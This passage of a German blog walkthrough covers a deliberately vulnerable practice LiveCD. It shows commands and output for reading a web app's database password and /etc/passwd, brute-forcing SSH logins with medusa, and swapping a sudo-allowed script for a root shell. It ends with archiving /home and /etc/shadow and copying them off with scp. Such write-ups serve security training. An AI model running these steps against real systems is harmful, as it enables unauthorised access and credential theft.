drwx------  2 strammel   users   80 Feb  1 10:36 strammel/
drwx------  2 swarren    users   80 Feb  1 10:36 swarren/
drwx------  2 tdeleon    users   80 Feb  1 10:36 tdeleon/
drwx------  2 tgoodchap  users   80 Feb  1 10:36 tgoodchap/
jdavenport@slax:~$

Siehe da mit ‘jdavenport’ kommt man auf die Kiste und so wie es im /home Verzeichnis aussieht auch mit den anderen. Was jetzt? schauen wir erstmal wie das Passwort von ‘webapp’ ist, der Vollständigkeit halber. Also erstmal Webverzeichnis suchen und dann mal schauen ob da so eine art Konfig rumliegt.

jdavenport@slax:~$ find / -name products.php 2>/dev/null
/mnt/live/mnt/hdc/slax/rootcopy/opt/lampp/htdocs/products.php
/mnt/live/memory/changes/opt/lampp/htdocs/products.php
/mnt/hdc/slax/rootcopy/opt/lampp/htdocs/products.php
/opt/lampp/htdocs/products.php
jdavenport@slax:~$ ls -ahl /opt/lampp/htdocs/
total 59K
dr-xr-xr-x 4 nobody root 180 Feb 1 10:36 ./
dr-xr-xr-x 22 root root 120 Jan 1 2011 ../
-r-xr-xr-x 1 root root 388 Dec 31 2010 add_product.php*
-r-xr-xr-x 1 root root 311 Jan 1 2011 connect.php*
-rw-r--r-- 1 root root 31K May 11 2007 favicon.ico
-r-xr-xr-x 1 root root 328 Jan 8 2011 footer.html*
-r-xr-xr-x 1 root root 459 Jan 1 2011 header.html*
-r-xr-xr-x 1 root root 614 Jan 1 2011 index.php*
-r-xr-xr-x 1 root root 1.0K Jan 8 2011 insert_products.php*
-r-xr-xr-x 1 root root 1.2K Jan 1 2011 products.php*
drwxr-xr-x 2 nobody root 3 Dec 26 2004 webalizer/
drwxr-xr-x 7 root root 874 Oct 2 2008 xampp/
jdavenport@slax:~$ cat /opt/lampp/htdocs/connect.php
<?php
//Connect To Database
$hostname='localhost';
$username='webapp';
$password='ih@tehackers';
$dbname='merch';
$db = new mysqli($hostname, $username, $password, $dbname);
if (mysqli_connect_errno()) {
echo '<p>Error: Could not connect to the database. Please try again later.</p>';
exit;
}
?>

Die Umleitung der Fehlerausgabe bei find ist im nachhinein entstanden und macht deshalb Sinn weil ich zu diesem Zeitpunkt nicht über Rootrechte verfügt habe was zu einem ganzen haufen Fehlermeldungen führt, so das man die Ausgabe kaum entziffern kann. Wir sehen also das zwar keine Konfig herumliegt aber doch sehr wohl eine Datei namens connect.php was auf den ersten Blick immer sehr einladend Aussieht. Hier findet sich auch das fehlende Passwort für den Benutzer ‘webapp’, es lautet ‘ih@tehackers’. Gut das war jetzt noch das Datenbankpasswort das gefehlt hat. Doch so ganz am Ziel war ich noch nicht, Rootrechte währen etwas feines. Also schauen wir uns mal ein wenig genauer um.

jdavenport@slax:~$ ls -ahl
total 20K
drwx------ 3 jdavenport users 160 Feb 1 14:59 ./
dr-xr-xr-x 53 root root 1.1K Feb 1 10:36 ../
-rw------- 1 jdavenport users 5 Feb 1 14:59 .bash_history
drwx------ 2 jdavenport users 40 Feb 1 14:59 .screen/
-rwx------ 1 jdavenport users 3.7K Feb 1 10:36 .screenrc*
-rwx------ 1 jdavenport users 779 Feb 1 10:36 .xsession*
-rwx------ 1 jdavenport users 495 Feb 1 10:36 company_address.txt*
-rwx------ 1 jdavenport users 34 Feb 1 10:36 svrc.txt*
jdavenport@slax:~$ cat company_address.txt
Good Evening everyone, I would like to start off by letting you know how honored I am
for being promoted to server as Primaline's Chief Information Officer.
As many of you know, we recently suffered several attacks on our servers from outside parties.
Thankfully, none of the attacks were successful. I want you to know that I am personally working to lockdown every server that Primaline
controls in order to protect both our company as well as all of you who serve as our valued employees.
jdavenport@slax:~$ cat svrc.txt
I ate 47 hot dogs last Tuesday!@!
jdavenport@slax:~$ cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:/bin/false
news:x:9:13:news:/usr/lib/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
kwebber:x:1000:100:Kathleen Webber:/home/kwebber:
dcooper:x:1001:100:Donald Cooper:/home/dcooper:
djohnson:x:1002:100:Daniel Johnson:/home/djohnson:
dgrant:x:1003:100:Daniel Grant:/home/dgrant:
tdeleon:x:1004:100:Terrence Deleon:/home/tdeleon:
mholland:x:1005:100:Marian Holland:/home/mholland:
jduff:x:1006:100:Jerry Duff:/home/jduff:
mbryan:x:1007:100:Michael Bryan:/home/mbryan:
bwatkins:x:1008:100:Brandon Watkins:/home/bwatkins:
aheflin:x:1009:100:Anna Heflin:/home/aheflin:
qpowers:x:1010:100:Quinton Powers:/home/qpowers:
aallen:x:1011:100:Aaron Allen:/home/aallen:
swarren:x:1012:100:Samuel Warren:/home/swarren:
ktso:x:1013:100:Kristen Tso:/home/ktso:
mrodriguez:x:1014:100:Manuel Rodriguez:/home/mrodriguez:
sgains:x:1015:100:Susan Gains:/home/sgains:
bbanter:x:1016:100:Bob Banter:/home/bbanter:
krenfro:x:1017:100:Kimberly Renfro:/home/krenfro:
kclemons:x:1018:100:Kathryn Clemons:/home/kclemons:
jdavenport:x:1019:100:James Davenport:/home/jdavenport:
dgilfillan:x:1020:100:Darcy Gilfillan:/home/dgilfillan:
jayala:x:1021:100:John Ayala:/home/jayala:
mnader:x:1022:100:Muhammad Nader:/home/mnader:
ccoffee:x:1023:100:Chad Coffee:/home/ccoffee:
strammel:x:1024:100:Stephanie Trammel:/home/strammel:
jalvarez:x:1025:100:Joy Alvarez:/home/jalvarez:
jfranklin:x:1026:100:Johnny Franklin:/home/jfranklin:
amaynard:x:1027:100:Arthur Maynard:/home/amaynard:
rdominguez:x:1028:100:Rafael Dominguez:/home/rdominguez:
rjacobson:x:1029:100:Randy Jacobson:/home/rjacobson:
aharp:x:1030:100:Annie Harp:/home/aharp:
jbresnahan:x:1031:100:Jay Bresnahan:/home/jbresnahan:
lmartinez:x:1032:100:Luis Martinez:/home/lmartinez:
cchisholm:x:1033:100:Cindy Chisholm:/home/cchisholm:
rpatel:x:1034:100:Randall Patel:/home/rpatel:
sjohnson:x:1035:100:Steven Johnson:/home/sjohnson:
dwestling:x:1036:100:David Westling:/home/dwestling:
tgoodchap:x:1037:100:Taj Goodchap:/home/tgoodchap:
lmorales:x:1038:100:Lindsey Morales:/home/lmorales:
aweiland:x:1039:100:Adam Weiland:/home/aweiland:
jalcantar:x:1040:100:Jesse Alcantar:/home/jalcantar:
bphillips:x:1041:100:Brad Phillips:/home/bphillips:
dtraylor:x:1042:100:Donnie Traylor:/home/dtraylor:
myajima:x:1043:100:Moto Yajima:/home/myajima:
dstevens:x:1044:100:Donald Stevens:/home/dstevens:
hlovell:x:1045:100:Henrietta Lovell:/home/hlovell:
aadams:x:1046:100:Adam Adams:/home/aadams:
aspears:x:1047:100:Adam Spears:/home/aspears:
aard:x:1048:100:Aaron Ard:/home/aard:
jdavenport@slax:~$ cat /etc/group
#root:x:0:root
bin:x:1:root,bin
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
tty:x:5:
disk:x:6:root,adm
lp:x:7:lp
mem:x:8:
kmem:x:9:
wheel:x:10:root
floppy:x:11:root
mail:x:12:mail
news:x:13:news
uucp:x:14:uucp
man:x:15:
audio:x:17:root
video:x:18:root
cdrom:x:19:root
games:x:20:
slocate:x:21:
utmp:x:22:
smmsp:x:25:smmsp
tape:x:26:root
mysql:x:27:
rpc:x:32:
sshd:x:33:sshd
gdm:x:42:
shadow:x:43:
ftp:x:50:
apache:x:80:
messagebus:x:81:
haldaemon:x:82:
plugdev:x:83:root
power:x:84:
pop:x:90:pop
scanner:x:93:
nobody:x:98:nobody
nogroup:x:99:
users:x:100:ccoffee
console:x:101:
admin:x:102:ccoffee
jdavenport@slax:~$

Was haben wir da jetzt alles herausgefunden? Zum einen haben wir im Homeverzeichnis von jdavenport ein paar Textdateien gefunden die uns sagen das er viel zu viele Hotdogs in sich hineinschaufelt und das anscheinend in der Firma des öfteren mal ein wenig gehackt wurde und sie jetzt dabei sind die Server abzusichern. Mit relativ wenig erfolg wie man sieht. In der /etc/groups kann man sehen das es einen Benutzer gibt der in der Gruppe admin ist ‘ccoffee’. Den sollte man etwas genauer unter die Lupe nehmen also schnell in die Passwortliste geschaut und mit ‘ccoffee# und ‘consumer’ versuchen einzuloggen.

root@bt:~# ssh ccoffee@192.168.1.120
ccoffee@192.168.1.120's password:
Permission denied, please try again.
ccoffee@192.168.1.120's password:
Permission denied, please try again.
ccoffee@192.168.1.120's password:
root@bt:~#

Was zur Hölle soll das denn, da wird doch nicht jemand sein Passwort geändert haben? Und ich dachte schon es würde ganz einfach werden. Also schauen wir uns nochmal unsere Passwortlist genauer an und probieren einfach mal alle Benutzer durch um zu sehen wer da noch so ein anderes Passwort für ssh hat. Also erstmal Benutzernamen und Passwörter in ein vernünftiges Format bringen und dann wird medusa angekurbelt. Mit dem Tool habe ich bereits einige gute Erfahrungen gemacht.

root@bt:~# medusa -h 192.168.1.120 -C medusa-mysql-user-password.txt -M ssh -O ssh-passwords.txt
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dgrant (1 of 50, 0 complete) Password: qwerty (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: goodchap (2 of 50, 1 complete) Password: welcome (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: kclemons (3 of 50, 2 complete) Password: gizmodo (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jayala (4 of 50, 3 complete) Password: 666666 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dstevens (5 of 50, 4 complete) Password: 12345678 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: qpowers (6 of 50, 5 complete) Password: lifehack (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aharp (7 of 50, 6 complete) Password: 654321 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: swarren (8 of 50, 7 complete) Password: princess (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: cchisholm (9 of 50, 8 complete) Password: michelle (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jalcantar (10 of 50, 9 complete) Password: master (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jfranklin (11 of 50, 10 complete) Password: abc123 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: lmartinez (12 of 50, 11 complete) Password: pokemon (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: sgains (13 of 50, 12 complete) Password: 111111 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jbresnahan (14 of 50, 13 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dtraylor (15 of 50, 14 complete) Password: killer (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dgilfillan (16 of 50, 15 complete) Password: 12345 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: sjohnson (17 of 50, 16 complete) Password: sunshine (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aspears (18 of 50, 17 complete) Password: gawker (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: tdeleon (19 of 50, 18 complete) Password: passw0rd (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: myajima (20 of 50, 19 complete) Password: shadow (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mnader (21 of 50, 20 complete) Password: whatever (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: ktso (22 of 50, 21 complete) Password: jordan (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: kwebber (23 of 50, 22 complete) Password: kotaku (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aadams (24 of 50, 23 complete) Password: superman (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rpatel (25 of 50, 24 complete) Password: jennifer (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: djohnson (26 of 50, 25 complete) Password: Password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: lmorales (27 of 50, 26 complete) Password: soccer (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: amaynard (28 of 50, 27 complete) Password: pepper (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: hlovell (29 of 50, 28 complete) Password: football (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: ccoffee (30 of 50, 29 complete) Password: consumer (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dwestling (31 of 50, 30 complete) Password: 1234 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: strammel (32 of 50, 31 complete) Password: computer (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bbanter (33 of 50, 32 complete) Password: michael (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mholland (34 of 50, 33 complete) Password: letmein (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aheflin (35 of 50, 34 complete) Password: baseball (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jdavenport (36 of 50, 35 complete) Password: babyl0n (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jdavenport Password: babyl0n [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aard (37 of 50, 36 complete) Password: internet (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mbryan (38 of 50, 37 complete) Password: monkey (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rdominguez (39 of 50, 38 complete) Password: trustno1 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dcooper (40 of 50, 39 complete) Password: blahblah (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jduff (41 of 50, 40 complete) Password: nintendo (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jalvarez (42 of 50, 41 complete) Password: starwars (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: krenfro (43 of 50, 42 complete) Password: 0 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mrodriguez (44 of 50, 43 complete) Password: 1234567 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bwatkins (45 of 50, 44 complete) Password: 123456 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aweiland (46 of 50, 45 complete) Password: dragon (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bphillips (47 of 50, 46 complete) Password: cheese (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aallen (48 of 50, 47 complete) Password: 123123 (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rjacobson (49 of 50, 48 complete) Password: batman (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: webapp (50 of 50, 49 complete) Password: ih@tehackers (1 of 1 complete)

Wow, sieht so aus als hätte ich vorher nur extremes Glück gehabt als ich mir jdavenport ausgesucht habe aber immerhin haben wir mal die Benutzernamen. Also bauen wir uns mal ein paar neue Listen. Zum einen eine users Liste und zum anderen werfen wir mal die Passwörter in eine Liste, vieleicht haben wir ja nochmal Glück und alle bis auf zwei verwenden jetzt ‘batman’ 😉 Die users Liste ergänzen wir noch um den Benutzer root und schon geht es wieder los.
Der passende Befehl lautet:

root@bt:~# medusa -h 192.168.1.120 -U users.txt -P passwords.txt -O medusa-ssh-passwords.txt -M ssh

Die Ausgabe erspare ich uns jetzt mal an dieser Stelle, aber die Datei medusa-ssh-passwords.txt kann sich sehen lassen.

# medusa -h 192.168.1.120 -U users.txt -P passwords.txt -O medusa-ssh-passwords.txt -M ssh
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aadams Password: master [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aard Password: soccer [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aharp Password: 12345 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aheflin Password: starwars [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: amaynard Password: gizmodo [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aspears Password: whatever [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aweiland Password: shadow [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bbanter Password: 1234 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bphillips Password: blahblah [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bwatkins Password: monkey [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: ccoffee Password: 123123 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dcooper Password: 12345678 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dgilfillan Password: jennifer [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dgrant Password: superman [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: djohnson Password: lifehack [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dstevens Password: 111111 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dtraylor Password: computer [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dwestling Password: pepper [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: hlovell Password: nintendo [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jalcantar Password: Password [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jalvarez Password: michelle [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jayala Password: letmein [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jbresnahan Password: batman [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jdavenport Password: babyl0n [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jduff Password: sunshine [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jfranklin Password: passw0rd [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: kclemons Password: gawker [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: krenfro Password: football [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: ktso Password: baseball [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: kwebber Password: 123456 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: lmartinez Password: abc123 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: lmorales Password: qwerty [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mbryan Password: pokemon [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mholland Password: princess [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mnader Password: 666666 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mrodriguez Password: killer [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: myajima Password: 0 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: qpowers Password: consumer [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rdominguez Password: dragon [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rjacobson Password: 654321 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rpatel Password: michael [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: sgains Password: internet [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: sjohnson Password: trustno1 [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: strammel Password: welcome [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: swarren Password: cheese [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: tdeleon Password: kotaku [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: tgoodchap Password: 1234567 [SUCCESS]

Zu immerhin 47 der 51 Benutzer in der users.txt haben wir jetzt das Passwort um uns per ssh einzuloggen. Einer der Benutzer in der users.txt ‘webapp’ fällt schon mal weg da dieser nur der vollständigkeit halber dort noch drinsteht und keinen Eintrag in der /etc/passwd besitzt. Fehlen uns also noch 3 Benutzer ‘root’,’aalan’ und ‘cchisholm’ während sich medusa diesem Problem mit einer etwas längeren Passwortliste annimmt machen wir mal da weiter wo wir vorhin aufgehört haben. ‘ccoffee’ ist der einzige Benutzer in der admin Gruppe und jetzt haben wir sein Passwort für den ssh Zugang also schauen wir mal was an der admin Gruppe  bzw. ‘ccoffe’ so besonders ist.

root@bt:~# ssh ccoffee@192.168.1.120
ccoffee@192.168.1.120's password:
Last login: Fri Feb  1 16:45:27 2013 from 192.168.1.22
Linux 2.6.27.27.
ccoffee@slax:~$ ls -ahl
total 16K
drwx------  4 ccoffee users  160 Feb  1 16:50 ./
dr-xr-xr-x 53 root    root  1.1K Feb  1 10:36 ../
-rw-------  1 ccoffee users  680 Feb  1 16:53 .bash_history
drwx------  2 root    root   120 Feb  1 16:52 .mc/
-rwx------  1 ccoffee users 3.7K Feb  1 10:36 .screenrc*
-rwx------  1 ccoffee users  779 Feb  1 10:36 .xsession*
-rwx------  1 ccoffee users   57 Feb  1 10:36 DONOTFORGET*
drwx------  2 ccoffee users   60 Feb  1 16:53 scripts/
ccoffee@slax:~$ cat DONOTFORGET
remember your 20th anniversary on the 5th!!!!!!!!!1111!!
ccoffee@slax:~$ ls -ahl scripts/
total 4.0K
drwx------ 2 ccoffee users  60 Feb  1 16:53 ./
drwx------ 4 ccoffee users 160 Feb  1 16:50 ../
-rws--x--x 1 root    admin 110 Feb  1 10:36 getlogs.sh*
ccoffee@slax:~$ cat scripts/getlogs.sh
cat: scripts/getlogs.sh: Permission denied
ccoffee@slax:~$ scripts/getlogs.sh
/bin/bash: scripts/getlogs.sh: Permission denied
ccoffee@slax:~$

Das getlogs.sh Skript im scripts Ordner sieht doch schonmal ganz brauchbar aus. Nur leider können wir es weder lesen noch ausführen. Also was soll das dann da? Schauen wir mal ein wenig weiter. Vieleicht hat unser Benutzer ja doch noch irgendwelche Sonderrechte.
Nachdem ich eine Weile gesucht hatte kam dann doch noch das Erfolgserlebnis.

ccoffee@slax:~$ sudo -l
User ccoffee may run the following commands on this host:
    (root) NOPASSWD: /home/ccoffee/scripts/getlogs.sh
ccoffee@slax:~$

Ccoffee hat also das Recht die getlogs.sh mit Rootrechten auszuführen. Jetzt muss ich es nur noch irgendwie schaffen diese Datei zu ändern. Versuchen wir es doch mal mit umbenennen anstatt mit ändern.

ccoffee@slax:~$ cd scripts/
ccoffee@slax:~/scripts$ mv getlogs.sh getlogs.sh.old
ccoffee@slax:~/scripts$ cat >getlogs.sh
#!/bin/sh
/bin/bash
^C
ccoffee@slax:~/scripts$ ls
getlogs.sh  getlogs.sh.old*
ccoffee@slax:~/scripts$ chmod +x getlogs.sh
ccoffee@slax:~/scripts$ sudo /home/ccoffee/scripts/getlogs.sh
bash-3.1# whoami
root
bash-3.1#

So das wars dann offiziell mit den eingeschränkten Rechten. Jetzt muss ich eigentlich nur noch die Beute sichern 😉

bash-3.1# tar -czf /root/backup.tar.gz /home/ /etc/shadow
tar: Removing leading `/' from member names
bash-3.1# mv /root/backup.tar.gz /home/ccoffee/
bash-3.1# chmod 777 /home/cc
cchisholm/ ccoffee/
bash-3.1# chmod 777 /home/cc
cchisholm/ ccoffee/
bash-3.1# chmod 777 /home/ccoffee/backup.tar.gz
bash-3.1# exit
exit
ccoffee@slax:~/scripts$ exit
logout
Connection to 192.168.1.120 closed.
root@bt:~# scp ccoffee@192.168.1.120:backup.tar.gz ./
ccoffee@192.168.1.120's password:
backup.tar.gz                                                                                                                                                                                              100%   18KB  18.1KB/s   00:00
root@bt:~#

Also halten wir fest, 47 Benutzer Accounts geknackt, 1mal Rootrechte ergattert, alle Benutzerverzeichnisse kopiert, die /etc/shadow Datei für später kopiert und natürlich einen Dump der kompletten Datenbank. So muss das laufen 😉 Für einen kompletten Sieg fehlen jetzt nur noch die verbleibenden Passwörter und im Idealfall das root Passwort aber darauf lässt sich zur Not auch verzichten. Ich würde zumindest sagen Ziel erreicht. Für ne kleine Fingerübung war das zumindest einmal nicht so wirklich schlecht. Jetzt werde ich da noch ein wenig mit der Backtrack dran herumspielen und schauen was andere Tools da für Ergebnisse liefern.

Im allgemeinen Schätze ich das Szenario dieser Livecd als durchaus realistisch ein, leider auch was XAMPP angeht. Ein früherer Programmierlehrer hat mir damals als wir im Untericht damit arbeiten mussten ganz stolz erzählt das es das Ding auch für Linux gibt daher bin ich durchaus der Meinung das es irgendwo da draußen noch eine menge Leute gibt die sowas produktiv einsetzen. Was sqlmap angeht so hat mich das Tool doch ernsthaft überrascht. Mir war zwar klar das die größten Probleme in fast jeder Anwendung in nicht validierten Eingabeparametern liegen oder noch schlimmer an Userinput der nicht als solcher angesehen wird z.B.: codeinjection per Logfile, eines meiner Lieblingshorrorszenarios. Das manche Datenbanknutzer viel zu viele Rechte haben ist jetzt in der Praxis auch nicht so wirklich neu, ebenso wie der drang von Anwendern ihre Passwörter überall wieder zu verwerten. Alles in allem also alles sehr bekannte Probleme die in bei dieser livecd relativ realistisch zusammengemixt wurden. Gut ich gebe zu die Passwörter wahren vielleicht ein wenig schwächer als man das normalerweise in einem solchen Szenario vorfindet und bei einer echten Webseite muss man meist mehr als 5 Minuten suchen um den richtigen Parameter zu finden doch alles in allem ein relativ schöner Mix. Vielleicht doch einen Tick zu einfach aber dafür gehört die CD ja noch zum Einsteigerlevel. Zum tooltesten ist die CD zumindest mehr als ausreichend.

Ach ja wer sich an den Zeitstempeln der Dateien oder in den Ausgaben der Programme stört dem sei gesagt das ich einiges davon im Nachhinein machen musste da ich nicht wirklich jede meiner Aktionen Protokolliert habe. Aber hey immerhin hat der Eintrag hier ins Blog so zumindest länger gedauert als die ganze Fingerübung 😉

